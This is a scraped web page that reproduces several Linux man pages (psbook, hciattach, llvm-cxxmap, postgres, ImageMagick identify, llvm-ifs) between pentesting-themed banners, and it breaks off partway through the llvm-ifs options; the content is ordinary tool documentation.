➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psbook and provides detailed information about the command psbook, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psbook.

NAME 🖥️ psbook 🖥️

rearrange pages in PostScript file into signatures

SYNOPSIS

psbook [ -q ] [ -ssignature ] [ infile [ outfile ] ]

DESCRIPTION

Psbook rearranges pages from a PostScript document into ``signatures’’ for printing books or booklets, creating a new PostScript file. The input PostScript file should follow the Adobe Document Structuring Conventions.

The -s option selects the size of signature which will be used. The signature size is the number of sides which will be folded and bound together; the number given should be a multiple of four. The default is to use one signature for the whole file. Extra blank sides will be added if the file does not contain a multiple of four pages.

Psbook normally prints the page numbers of the pages rearranged; the -q option suppresses this.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

Psbook does not accept all DSC comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1176 - Linux cli command hciattach

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hciattach and provides detailed information about the command hciattach, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hciattach.

NAME 🖥️ hciattach 🖥️

attach serial devices via UART HCI to BlueZ stack

SYNOPSIS

hciattach [OPTIONS] <tty> <type|id> [speed] [flow] [sleep] [bdaddr]

hciattach -1

DESCRIPTION

hciattach(1) is used to attach a serial UART to the Bluetooth stack as HCI transport interface.

OPTIONS

-i
Send break

-n
Don’t detach from controlling terminal.

-p
Print the PID when detaching.

-t* timeout*
Specify an initialization timeout. Default is 5 seconds.

-s* speed*
Specify an initial speed instead of the hardware default.

-l
List all available configurations.

-r
Set the HCI device into raw mode. The kernel and bluetooth daemon will ignore it.

-h,** –help**
Show help options

ARGUMENTS

show
This specifies the serial device to attach. A leading /dev can be omitted.

Examples: /dev/ttyS1 ttyS2

type|id
The type or id of the Bluetooth device that is to be attached, i.e. vendor or other device specific identifier. Currently supported types are

_
typeDescription
_
anyUnspecified HCI_UART interface, no vendor specific options
_
ericssonEricsson based modules
_
digiDigianswer based cards
_
xircomXircom PCMCIA cards: Credit Card Adapter and Real Port Adapter
_
csrCSR Casira serial adapter or BrainBoxes serial dongle (BL642)
_
bboxesBrainBoxes PCMCIA card (BL620)
_
swaveSilicon Wave kits
_
bcspSerial adapters using CSR chips with BCSP serial protocol
_
ath3kAtheros AR300x based serial Bluetooth device
_
intelIntel Bluetooth device
_
_
Supported ID
(manufacturer id, product id)
Description
_
0x0105, 0x080aXircom PCMCIA cards: Credit Card Adapter and Real Port Adapter
_
0x0160, 0x0002BrainBoxes PCMCIA card (BL620)
_

speed
The speed specifies the UART speed to use. Baudrates higher than 115200bps require vendor specific initializations that are not implemented for all types of devices. In general the following speeds are supported:

Supported vendor devices are automatically initialised to their respective best settings.

_
9600
_
19200
_
38400
_
57600
_
115200
_
230400
_
460800
_
921600
_

flow
If the flow is appended to the list of options then hardware flow control is forced on the serial link (CRTSCTS). All above mentioned device types have flow set by default. To force no flow control use noflow instead.

sleep|nosleep
Enables hardware specific power management feature. If sleep is appended to the list of options then this feature is enabled. To disable this feature use nosleep instead. All above mentioned device types have nosleep set by default.

Note: This option will only be valid for hardware which support hardware specific power management enable option from host.

bdaddr
The bdaddr specifies the Bluetooth Address to use. Some devices (like the STLC2500) do not store the Bluetooth address in hardware memory. Instead it must be uploaded during the initialization process. If this argument is specified, then the address will be used to initialize the device. Otherwise, a default address will be used.

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Nils Faerber <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1177 - Linux cli command llvm-cxxmap-17

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-cxxmap-17 and provides detailed information about the command llvm-cxxmap-17, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-cxxmap-17.

NAME 🖥️ llvm-cxxmap-17 🖥️

cxxmap - Mangled name remapping tool

SYNOPSIS

llvm-cxxmap [options] symbol-file-1 symbol-file-2

DESCRIPTION

The llvm-cxxmap tool performs fuzzy matching of C++ mangled names, based on a file describing name components that should be considered equivalent.

The symbol files should contain a list of C++ mangled names (one per line). Blank lines and lines starting with # are ignored. The output is a list of pairs of equivalent symbols, one per line, of the form

where <symbol-1> is a symbol from symbol-file-1 and <symbol-2> is a symbol from symbol-file-2. Mappings for which the two symbols are identical are omitted.

OPTIONS

-remapping-file=file, -r=file
Specify a file containing a list of equivalence rules that should be used to determine whether two symbols are equivalent. Required. See REMAPPING FILE.

-output=file, -o=file
Specify a file to write the list of matched names to. If unspecified, the list will be written to stdout.

-Wambiguous
Produce a warning if there are multiple equivalent (but distinct) symbols in symbol-file-2.

-Wincomplete
Produce a warning if symbol-file-1 contains a symbol for which there is no equivalent symbol in symbol-file-2.

REMAPPING FILE

The remapping file is a text file containing lines of the form

fragmentkind fragment1 fragment2

where fragmentkind is one of name, type, or encoding, indicating whether the following mangled name fragments are <name>s, <type>s, or <encoding>s, respectively. Blank lines and lines starting with # are ignored.

Unmangled C names can be expressed as an encoding that is a (length-prefixed) <source-name>:

C function “void foo_bar()” is remapped to C++ function “void foo::bar()”.

encoding 7foo_bar _Z3foo3barv

For convenience, built-in <substitution>s such as St and Ss are accepted as <name>s (even though they technically are not <name>s).

For example, to specify that absl::string_view and std::string_view should be treated as equivalent, the following remapping file could be used:

absl::string_view is considered equivalent to std::string_view

type N4absl11string_viewE St17basic_string_viewIcSt11char_traitsIcEE

# std:: might be std::__1:: in libc++ or std::__cxx11:: in libstdc++
name St St3__1
name St St7__cxx11

NOTE:

Symbol remapping is currently only supported for C++ mangled names following the Itanium C++ ABI mangling scheme. This covers all C++ targets supported by Clang other than Windows targets.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1178 - Linux cli command postgres

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command postgres and provides detailed information about the command postgres, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the postgres.

NAME 🖥️ postgres 🖥️

PostgreSQL database server

SYNOPSIS

postgres [option…]

DESCRIPTION

postgres is the PostgreSQL database server. In order for a client application to access a database it connects (over a network or locally) to a running postgres instance. The postgres instance then starts a separate server process to handle the connection.

One postgres instance always manages the data of exactly one database cluster. A database cluster is a collection of databases that is stored at a common file system location (the “data area”). More than one postgres instance can run on a system at one time, so long as they use different data areas and different communication ports (see below). When postgres starts it needs to know the location of the data area. The location must be specified by the -D option or the PGDATA environment variable; there is no default. Typically, -D or PGDATA points directly to the data area directory created by initdb(1). Other possible file layouts are discussed in Section 20.2.

By default postgres starts in the foreground and prints log messages to the standard error stream. In practical applications postgres should be started as a background process, perhaps at boot time.

The postgres command can also be called in single-user mode. The primary use for this mode is during bootstrapping by initdb(1). Sometimes it is used for debugging or disaster recovery; note that running a single-user server is not truly suitable for debugging the server, since no realistic interprocess communication and locking will happen. When invoked in single-user mode from the shell, the user can enter queries and the results will be printed to the screen, but in a form that is more useful for developers than end users. In the single-user mode, the session user will be set to the user with ID 1, and implicit superuser powers are granted to this user. This user does not actually have to exist, so the single-user mode can be used to manually recover from certain kinds of accidental damage to the system catalogs.

OPTIONS

postgres accepts the following command-line arguments. For a detailed discussion of the options consult Chapter 20. You can save typing most of these options by setting up a configuration file. Some (safe) options can also be set from the connecting client in an application-dependent way to apply only for that session. For example, if the environment variable PGOPTIONS is set, then libpq-based clients will pass that string to the server, which will interpret it as postgres command-line options.

General Purpose

-B nbuffers

Sets the number of shared buffers for use by the server processes. The default value of this parameter is chosen automatically by initdb. Specifying this option is equivalent to setting the shared_buffers configuration parameter.

-c name**=**value

Sets a named run-time parameter. The configuration parameters supported by PostgreSQL are described in Chapter 20. Most of the other command line options are in fact short forms of such a parameter assignment. -c can appear multiple times to set multiple parameters.

-C name

Prints the value of the named run-time parameter, and exits. (See the -c option above for details.) This returns values from postgresql.conf, modified by any parameters supplied in this invocation. It does not reflect parameters supplied when the cluster was started.

This can be used on a running server for most parameters. However, the server must be shut down for some runtime-computed parameters (e.g., shared_memory_size, shared_memory_size_in_huge_pages, and wal_segment_size).

This option is meant for other programs that interact with a server instance, such as pg_ctl(1), to query configuration parameter values. User-facing applications should instead use SHOW or the pg_settings view.

-d debug-level

Sets the debug level. The higher this value is set, the more debugging output is written to the server log. Values are from 1 to 5. It is also possible to pass -d 0 for a specific session, which will prevent the server log level of the parent postgres process from being propagated to this session.

-D datadir

Specifies the file system location of the database configuration files. See Section 20.2 for details.

-e

Sets the default date style to “European”, that is DMY ordering of input date fields. This also causes the day to be printed before the month in certain date output formats. See Section 8.5 for more information.

-F

Disables fsync calls for improved performance, at the risk of data corruption in the event of a system crash. Specifying this option is equivalent to disabling the fsync configuration parameter. Read the detailed documentation before using this!

-h hostname

Specifies the IP host name or address on which postgres is to listen for TCP/IP connections from client applications. The value can also be a comma-separated list of addresses, or * to specify listening on all available interfaces. An empty value specifies not listening on any IP addresses, in which case only Unix-domain sockets can be used to connect to the server. Defaults to listening only on localhost. Specifying this option is equivalent to setting the listen_addresses configuration parameter.

-i

Allows remote clients to connect via TCP/IP (Internet domain) connections. Without this option, only local connections are accepted. This option is equivalent to setting listen_addresses to * in postgresql.conf or via -h.

This option is deprecated since it does not allow access to the full functionality of listen_addresses. Its usually better to set listen_addresses directly.

-k directory

Specifies the directory of the Unix-domain socket on which postgres is to listen for connections from client applications. The value can also be a comma-separated list of directories. An empty value specifies not listening on any Unix-domain sockets, in which case only TCP/IP sockets can be used to connect to the server. The default value is normally /tmp, but that can be changed at build time. Specifying this option is equivalent to setting the unix_socket_directories configuration parameter.

-l

Enables secure connections using SSL. PostgreSQL must have been compiled with support for SSL for this option to be available. For more information on using SSL, refer to Section 19.9.

-N max-connections

Sets the maximum number of client connections that this server will accept. The default value of this parameter is chosen automatically by initdb. Specifying this option is equivalent to setting the max_connections configuration parameter.

-p port

Specifies the TCP/IP port or local Unix domain socket file extension on which postgres is to listen for connections from client applications. Defaults to the value of the PGPORT environment variable, or if PGPORT is not set, then defaults to the value established during compilation (normally 5432). If you specify a port other than the default port, then all client applications must specify the same port using either command-line options or PGPORT.

-s

Print time information and other statistics at the end of each command. This is useful for benchmarking or for use in tuning the number of buffers.

-S work-mem

Specifies the base amount of memory to be used by sorts and hash tables before resorting to temporary disk files. See the description of the work_mem configuration parameter in Section 20.4.1.

-V
–version

Print the postgres version and exit.

**–name=**value

Sets a named run-time parameter; a shorter form of -c.

–describe-config

This option dumps out the servers internal configuration variables, descriptions, and defaults in tab-delimited COPY format. It is designed primarily for use by administration tools.

-?
–help

Show help about postgres command line arguments, and exit.

Semi-Internal Options

The options described here are used mainly for debugging purposes, and in some cases to assist with recovery of severely damaged databases. There should be no reason to use them in a production database setup. They are listed here only for use by PostgreSQL system developers. Furthermore, these options might change or be removed in a future release without notice.

-f { s | i | o | b | t | n | m | h }

Forbids the use of particular scan and join methods: s and i disable sequential and index scans respectively, o, b and t disable index-only scans, bitmap index scans, and TID scans respectively, while n, m, and h disable nested-loop, merge and hash joins respectively.

Neither sequential scans nor nested-loop joins can be disabled completely; the -fs and -fn options simply discourage the optimizer from using those plan types if it has any other alternative.

-O

Allows the structure of system tables to be modified. This is used by initdb.

-P

Ignore system indexes when reading system tables, but still update the indexes when modifying the tables. This is useful when recovering from damaged system indexes.

-t pa[rser] | pl[anner] | e[xecutor]

Print timing statistics for each query relating to each of the major system modules. This option cannot be used together with the -s option.

-T

This option is for debugging problems that cause a server process to die abnormally. The ordinary strategy in this situation is to notify all other server processes that they must terminate, by sending them SIGQUIT signals. With this option, SIGABRT will be sent instead, resulting in production of core dump files.

-v protocol

Specifies the version number of the frontend/backend protocol to be used for a particular session. This option is for internal use only.

-W seconds

A delay of this many seconds occurs when a new server process is started, after it conducts the authentication procedure. This is intended to give an opportunity to attach to the server process with a debugger.

Options for Single-User Mode

The following options only apply to the single-user mode (see Single-User Mode below).

–single

Selects the single-user mode. This must be the first argument on the command line.

database

Specifies the name of the database to be accessed. This must be the last argument on the command line. If it is omitted it defaults to the user name.

-E

Echo all commands to standard output before executing them.

-j

Use semicolon followed by two newlines, rather than just newline, as the command entry terminator.

-r filename

Send all server log output to filename. This option is only honored when supplied as a command-line option.

ENVIRONMENT

PGCLIENTENCODING

Default character encoding used by clients. (The clients can override this individually.) This value can also be set in the configuration file.

PGDATA

Default data directory location

PGDATESTYLE

Default value of the DateStyle run-time parameter. (The use of this environment variable is deprecated.)

PGPORT

Default port number (preferably set in the configuration file)

DIAGNOSTICS

A failure message mentioning semget or shmget probably indicates you need to configure your kernel to provide adequate shared memory and semaphores. For more discussion see Section 19.4. You might be able to postpone reconfiguring your kernel by decreasing shared_buffers to reduce the shared memory consumption of PostgreSQL, and/or by reducing max_connections to reduce the semaphore consumption.

A failure message suggesting that another server is already running should be checked carefully, for example by using the command

$ ps ax | grep postgres

or

$ ps -ef | grep postgres

depending on your system. If you are certain that no conflicting server is running, you can remove the lock file mentioned in the message and try again.

A failure message indicating inability to bind to a port might indicate that that port is already in use by some non-PostgreSQL process. You might also get this error if you terminate postgres and immediately restart it using the same port; in this case, you must simply wait a few seconds until the operating system closes the port before trying again. Finally, you might get this error if you specify a port number that your operating system considers to be reserved. For example, many versions of Unix consider port numbers under 1024 to be “trusted” and only permit the Unix superuser to access them.

NOTES

The utility command pg_ctl(1) can be used to start and shut down the postgres server safely and comfortably.

If at all possible, do not use SIGKILL to kill the main postgres server. Doing so will prevent postgres from freeing the system resources (e.g., shared memory and semaphores) that it holds before terminating. This might cause problems for starting a fresh postgres run.

To terminate the postgres server normally, the signals SIGTERM, SIGINT, or SIGQUIT can be used. The first will wait for all clients to terminate before quitting, the second will forcefully disconnect all clients, and the third will quit immediately without proper shutdown, resulting in a recovery run during restart.

The SIGHUP signal will reload the server configuration files. It is also possible to send SIGHUP to an individual server process, but that is usually not sensible.

To cancel a running query, send the SIGINT signal to the process running that command. To terminate a backend process cleanly, send SIGTERM to that process. See also pg_cancel_backend and pg_terminate_backend in Section 9.27.2 for the SQL-callable equivalents of these two actions.

The postgres server uses SIGQUIT to tell subordinate server processes to terminate without normal cleanup. This signal should not be used by users. It is also unwise to send SIGKILL to a server process — the main postgres process will interpret this as a crash and will force all the sibling processes to quit as part of its standard crash-recovery procedure.

BUGS

The options will not work on FreeBSD or OpenBSD. Use -c instead. This is a bug in the affected operating systems; a future release of PostgreSQL will provide a workaround if this is not fixed.

SINGLE-USER MODE

To start a single-user mode server, use a command like

postgres –single -D /usr/local/pgsql/data other-options my_database

Provide the correct path to the database directory with -D, or make sure that the environment variable PGDATA is set. Also specify the name of the particular database you want to work in.

Normally, the single-user mode server treats newline as the command entry terminator; there is no intelligence about semicolons, as there is in psql. To continue a command across multiple lines, you must type backslash just before each newline except the last one. The backslash and adjacent newline are both dropped from the input command. Note that this will happen even when within a string literal or comment.

But if you use the -j command line switch, a single newline does not terminate command entry; instead, the sequence semicolon-newline-newline does. That is, type a semicolon immediately followed by a completely empty line. Backslash-newline is not treated specially in this mode. Again, there is no intelligence about such a sequence appearing within a string literal or comment.

In either input mode, if you type a semicolon that is not just before or part of a command entry terminator, it is considered a command separator. When you do type a command entry terminator, the multiple statements youve entered will be executed as a single transaction.

To quit the session, type EOF (Control+D, usually). If youve entered any text since the last command entry terminator, then EOF will be taken as a command entry terminator, and another EOF will be needed to exit.

Note that the single-user mode server does not provide sophisticated line-editing features (no command history, for example). Single-user mode also does not do any background processing, such as automatic checkpoints or replication.

EXAMPLES

To start postgres in the background using default values, type:

$ nohup postgres >logfile 2>&1 </dev/null &

To start postgres with a specific port, e.g., 1234:

$ postgres -p 1234

To connect to this server using psql, specify this port with the -p option:

$ psql -p 1234

or set the environment variable PGPORT:

$ export PGPORT=1234 $ psql

Named run-time parameters can be set in either of these styles:

$ postgres -c work_mem=1234 $ postgres –work-mem=1234

Either form overrides whatever setting might exist for work_mem in postgresql.conf. Notice that underscores in parameter names can be written as either underscore or dash on the command line. Except for short-term experiments, its probably better practice to edit the setting in postgresql.conf than to rely on a command-line switch to set a parameter.

SEE ALSO

initdb(1), pg_ctl(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1179 - Linux cli command identify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command identify and provides detailed information about the command identify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the identify.

NAME 🖥️ identify 🖥️

describes the format and characteristics of one or more image files.

SYNOPSIS

identify-im6.q16 [options] input-file

OVERVIEW

The identify-im6.q16 program is a member of the ImageMagick-ims6.q16(1) suite of tools. It describes the format and characteristics of one or more image files. It also reports if an image is incomplete or corrupt. The information returned includes the image number, the file name, the width and height of the image, whether the image is colormapped or not, the number of colors in the image (by default off use -define unique=true option), the number of bytes in the image, the format of the image (JPEG, PNM, etc.), and finally the number of seconds it took to read and process the image. Many more attributes are available with the verbose option.

For more information about the identify command, point your browser to file:///usr/share/doc/imagemagick-6-common/html/www/identify.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/identify.php.

DESCRIPTION

Image Settings: -alpha option on, activate, off, deactivate, set, opaque, copy transparent, extract, background, or shape -antialias remove pixel-aliasing -authenticate value decrypt image with this password -channel type apply option to select image channels -clip clip along the first path from the 8BIM profile -clip-mask filename associate a clip mask with the image -clip-path id clip along a named path from the 8BIM profile -colorspace type alternate image colorspace -crop geometry cut out a rectangular region of the image -define format:option define one or more image format options -define unique=true return the number of unique colors in the image -density geometry horizontal and vertical density of the image -depth value image depth -endian type endianness (MSB or LSB) of the image -extract geometry extract area from image -features distance analyze image features (e.g. contrast, correlation) -format “string” output formatted image characteristics -fuzz distance colors within this distance are considered equal -gamma value of gamma correction -interlace type type of image interlacing scheme -interpolate method pixel color interpolation method -limit type value pixel cache resource limit -list type Color, Configure, Delegate, Format, Magic, Module, Resource, or Type -mask filename associate a mask with the image -matte store matte channel if the image has one -moments report image moments -monitor monitor progress -ping efficiently determine image attributes -precision value maximum number of significant digits to print -quiet suppress all warning messages -regard-warnings pay attention to warning messages -respect-parentheses settings remain in effect until parenthesis boundary -sampling-factor geometry horizontal and vertical sampling factor -seed value seed a new sequence of pseudo-random numbers -set attribute value set an image attribute -size geometry width and height of image -strip strip image of all profiles and comments -unique display the number of unique colors in the image -units type the units of image resolution -verbose print detailed information about the image -virtual-pixel method virtual pixel access method

Image Operators: -auto-orient automatically orient image -grayscale method convert image to grayscale -negate replace each pixel with its complementary color

Miscellaneous Options: -debug events display copious debugging information -help print program options -list type print a list of supported option arguments -log format format of debugging information -version print version information

By default, the image format of `file’ is determined by its magic number. To specify a particular image format, precede the filename with an image format name and a colon (i.e. ps:image) or specify the image type as the filename suffix (i.e. image.ps). Specify ‘file’ as ‘-’ for standard input or output.

NOTE

Although some options appear to modify the file to be identified, the identify command is strictly read only. For instance, the crop option crops the in-memory image and then describes the result.

SEE ALSO

ImageMagick-im6.q16(1)

COPYRIGHT

Copyright (C) 1999-2021 ImageMagick Studio LLC. Additional copyrights and licenses apply to this software, see file:///usr/share/doc/imagemagick-6-common/html/www/license.html (on debian system you may install the imagemagick-6 package) or https://www.imagemagick.org/script/license.php

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1180 - Linux cli command llvm-ifs-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ifs-16 and provides detailed information about the command llvm-ifs-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ifs-16.

NAME 🖥️ llvm-ifs-16 🖥️

ifs - shared object stubbing tool

SYNOPSIS

llvm-ifs [options] inputs

DESCRIPTION

llvm-ifs is a tool that jointly produces human readable text-based stubs (.ifs files) for shared objects and linkable shared object stubs (.so files) from either ELF shared objects or text-based stubs. The text-based stubs is useful for monitoring ABI changes of the shared object. The linkable shared object stubs can be used to avoid unnecessary relinks when the ABI of shared libraries does not change.

IFS FORMATS

Here is an example of the text representation (IFS) of a shared object produced by the llvm-ifs:

— !ifs-v1 IFSVersion: 3.0 SoName: libtest.so /* Optional / Target: x86_64-unknown-linux-gnu / Optional, format 1, same format as llvm target triple / Target: { Arch: x86_64, Endianness: little, Bitwidth: 64 } / Optional, format 2 */ NeededLibs: - libc.so.6 Symbols: - { Name: sym0, Type: Notype } - { Name: sym1, Type: Object, Size: 0 } - { Name: sym2, Type: Func, Weak: false } - { Name: sym3, Type: TLS } - { Name: sym4, Type: Unknown, Warning: foo } …

  • IFSVersion: Version of the IFS file for reader compatibility.

  • SoName (optional): Name of the shared object file that is being stubbed.

  • Target (optional): The architecture, endianness and bitwise information of this shared object. It can be either in explicit format or in implicit LLVM triple format. It can be optional and can be overridden from command line options.

  • NeededLibs: The list of the external shared objects that this library depends on.

  • Symbols: A collection of all data needed to link objects for each symbol, sorted by name in ascending order.

    • Name: Symbol name.

    • Type: Whether the symbol is an object, function, no-type, thread local storage, or unknown. Symbol types not explicitly supported are mapped as unknown to improve signal-to-noise ratio.

    • Size: The size of the symbol in question, doesn’t apply to functions, and is optional for NoType symbols.

    • Undefined: Whether or not the symbol is defined in this shared object file.

    • Weak: Whether or not the symbol should be treated as weak.

    • Warning (optional): Warning text to output when this symbol is linked against.

This YAML based text format contains everything that is needed to generate a linkable ELF shared object as well as an Apple TAPI format file. The ordering of symbols is sorted, so these files can be easily compared using diff tools. If the content of the file changes, it indicates a potentially ABI breaking change.

ELF STUB FORMAT

A minimum ELF file that can be used by linker should have following sections properly populated:

  • ELF header.

  • Section headers.

  • Dynamic symbol table (.dynsym section).

  • Dynamic string table (.dynstr section).

  • Dynamic table (.dynamic section).

    • DT_SYMTAB entry.

    • DT_STRTAB entry.

    • DT_STRSZ entry.

    • DT_NEEDED entries. (optional)

    • DT_SONAME entry. (optional)

  • Section header string table (.shstrtab section)

This ELF file may have compatibility issues with ELF analysis tools that rely on the program headers. Linkers like LLD work fine with such a minimum ELF file without errors.

OPTIONS

–input-format=[IFS|ELF|OtherObjectFileFormats]
Specify input file format. Currently, only text IFS files and ELF shared object files are supported. This flag is optional as the input format can be inferred.

–output-elf=<output-filename>
Specify the output file for ELF shared object stub.

–output-ifs=<output-filename>
Specify the output file for text IFS.

–output-tbd=<output-filename>
Specify the output file for Apple TAPI tbd.

–arch=[x86_64|AArch64|…]
This flag is optional and it should only be used when reading an IFS file which does not define the Arch (architecture). This flag defines the architecture of the output file, and can be any string supported by ELF ‘e_machine’ field. If the value is conflicting with the IFS file, an error will be reported and the program will stop.

–endianness=[little|big]
This flag is optional and it should only be used when reading an IFS file which does not define the Endianness. This flag defines the endianness of the output file. If the value is conflicting with the IFS file, an error will be reported and the program will stop.

–bitwidth=[32|64]
This flag is optional and it should only be used when reading an IFS file which does not define the BitWidth. This flag defines the bit width of the output file. If the value is conflicting with the input IFS file, an error will be reported and the program will stop.

–target=<target triple>
This flag is optional and should only be used when reading an IFS file which does not define any target information. This flag defines architecture, endianness and bit width of the output file using llvm target triple. This flag cannot be used simultaneously with other target related flags.

–hint-ifs-target=<target triple>
This flag is optional and should only be used when reading an ELF shared object and generating an IFS file. by default, llvm-ifs will use ‘Arch, Endianness and BitWidth’ fields to reflect the target information from the input object file. Using this flag will tell llvm-ifs the expected target triple in the output IFS file. If the value matches the target information from the object file, this value will be used in the ‘Target:’ filed in the generated IFS. If it conflicts with the input object file, an error will be reported and the program will stop.

–hint-ifs-target
This flag is optional and should only be used when outputting an IFS file. This flag strips the Arch field from the IFS file so it can be overridden later.

–strip-ifs-endianness
This flag is optional and should only be used when outputting an IFS file. This flag strips the Endianness field from the IFS file so it can be overridden later.

–strip-ifs-bitwidth
This flag is optional and should only be used when outputting an IFS file. This flag strips the BitWidth field from the IFS file so it can be overridden later.

–strip-ifs-target
This flag is optional and should only be used when outputting an IFS file. This flag strips the Target field from the IFS file so it can be overridden later.

–write-if-changed
